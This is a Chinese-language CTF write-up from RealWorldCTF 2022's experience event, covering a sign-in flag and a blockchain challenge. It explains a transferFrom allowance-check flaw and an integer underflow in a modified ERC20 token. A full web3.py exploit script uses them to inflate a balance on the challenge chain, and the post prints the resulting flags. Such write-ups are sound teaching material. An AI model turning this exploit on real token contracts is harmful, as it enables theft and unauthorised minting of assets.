和队伍参加了2022 RealWorldCTF 体验赛
,体验了一把被各位师傅带飞的感觉,自己只做了签到题和区块链题,大佬们直接打上榜一了,躺了躺了。写一下自己的题解方便之后回顾。
对了,还得到了两枚NFT纪念币。
签到题要求找出观众数字纪念品的兑换代码,在比赛平台首页可以找到领取数字纪念品的入口。
那么该题的flag就是rwctf{RealWorldIsAwesome}
.
(可以领取一下NFT留个纪念。)
这是一道比较常规的以太坊智能合约题目,合约代码是基于ERC20标准代码改造的,大致浏览一遍即可找到漏洞所在片段,主要考察整型下溢和任意转账漏洞,目标是利用漏洞实现意外地超发代币从而使得我们的账户余额达到题目要求。下面进行详细分析。
先看deployer.sol
,要使isSvd=true
,就得让我们账户上的FishmenToken
的余额大于100,漏洞利用成功后调用一次solve()
函数即可达到解出状态。
再看erc20_fake.sol
,前面部分的标准代码不用过多关注,看了下代币信息发现没有操作空间,铸币函数受到权限控制无法调用,之后结合题目名称TransferFrom
的提示,审计transferFrom()
函数。函数是先调用_transfer()
函数,再进行_approve()
核查余额是否足够转账,然而核查的接收者地址为_msgSender()
也就是交易发起者的地址,而不是严格意义上的recipient
,这里存在逻辑上的漏洞,只需要操作_msgSender()
的_allowances
即可满足核查。
又注意到increaseAllowance()
函数,可以调用它来增加_allowances
,且第226行中数组的行列关系与第210行恰好互补,这为我们提供了操作空间。
看到_transfer()
函数,其中对余额的操作使用了普通的加减运算而非SafeMath
,由于数值类型为uint256
,这会导致整数溢出,从而让代币数量意外地被增发到极大的数量。例如我们的账户余额_balances[account]
在一开始为0,而当调用任意转账函数transferFrom(account,other,1)
时,可以触发整数下溢,导致我们的余额变为2^256-1
这样一个巨大的数,这样就达到题目要求的余额大于100的条件了。
现在整理一下利用链:
account
调用FishmenToken
合约的increaseAllowance(account,10000)
,这样可以让_allowances[account][account]=10000
,即有10000的余额可供调配。account
调用FishmenToken
合约的transferFrom(account,anyother,1)
,这样可以触发整数下溢漏洞,让我们的代币余额变得巨大。account
调用deployer
合约的solve()
,让合约知道我们已经达成条件,再去连接服务器提交结果就可以拿到flag了。利用脚本如下:
import web3
from web3 import Web3, HTTPProvider
from Crypto.Util.number import *
def ConnectToChain(RPCUrl):
Provider = Web3(HTTPProvider(RPCUrl))
if Provider.isConnected():
print(f"Successfully connected to [{RPCUrl}].")
return Provider
else:
print(f"Failed to connect to [{RPCUrl}].")
return None
def CreateNewAccount():
Keys = web3.eth.account.create()
Address = web3.toChecksumAddress(Keys.address)
PrivateKey = hex(bytes_to_long(Keys.privateKey))
return (Address, PrivateKey)
def GetTxn(to, data, value=0):
global Account
return {
"from": web3.toChecksumAddress(Account.address),
"to": web3.toChecksumAddress(to),
"gasPrice": web3.eth.gasPrice,
"gas": 3000000,
"nonce": web3.eth.getTransactionCount(web3.toChecksumAddress(Account.address)),
"value": web3.toWei(value, 'ether'),
"data": data,
"chainId": web3.eth.chainId
}
def SendTransaction(to, data):
global Account
txn = GetTxn(to, data)
signed_txn = web3.eth.account.signTransaction(txn, Account.privateKey)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
return txn_receipt
if __name__ == "__main__":
web3 = ConnectToChain("http://47.102.47.140:8545")
# Account = web3.eth.account.create()
# print(Account.address)
# print(hex(bytes_to_long(Account.privateKey)))
Account = web3.eth.account.from_key(<PrivateKey>)
AccountAddress = "0x998528eDF5E1B266cE67f64d287880947217705e" # 用于发起交易的账户
ContractAddress = "0x679EDB6bDEA657e31c5714630B367b53A690b0f8" # 题目合约地址
FishmenAddress = hex(bytes_to_long(web3.eth.get_storage_at(ContractAddress, 0))) # 题目合约中生成的Fishmen合约的地址
# 出于方便考虑,交易的data我这里使用Remix部署合约到测试链上后调用函数,然后复制Metamask里的data,实际上也可以通过web3py完成
# 调用increaseAllowance(account,10000)
Data = f"0x39509351000000000000000000000000{AccountAddress.lower()[2:]}0000000000000000000000000000000000000000000000000000000000002710"
print(SendTransaction(FishmenAddress, Data))
# 调用transferFrom(account,anyother,1)
Data = f"0x23b872dd000000000000000000000000{AccountAddress.lower()[2:]}000000000000000000000000{FishmenAddress.lower()[2:]}0000000000000000000000000000000000000000000000000000000000000001"
print(SendTransaction(FishmenAddress, Data))
# 调用solve()
Data = f"0x890d6908"
print(SendTransaction(ContractAddress, Data))
print("Execution completed.")
有几点需要注意的是:
http://47.102.47.140:8080
,发起交易的账户要先领取一下测试以太币来做手续费。http://47.102.47.140:8545
,geth部署私链的默认端口为8545。data
(十六进制)本质上是:keccak256(函数名称)的前四个字节 + 参数,具体参考CTF Wiki上关于这方面的介绍。chainId
字段,否则可能会导致在其他链重放交易的异常,至于chainId
的获取,比较简便的方法是在Metamask上添加网络,开始时chainId
随意填,然后点保存,它会提示你正确的chainId
是多少,这题的chainId
为1211。后面发现用web3.eth.chainId
才是最简便的。运行脚本完毕后提交结果,得到flag为flag{978cefqm63gbxtj3ps1py4sd9zxobach}
。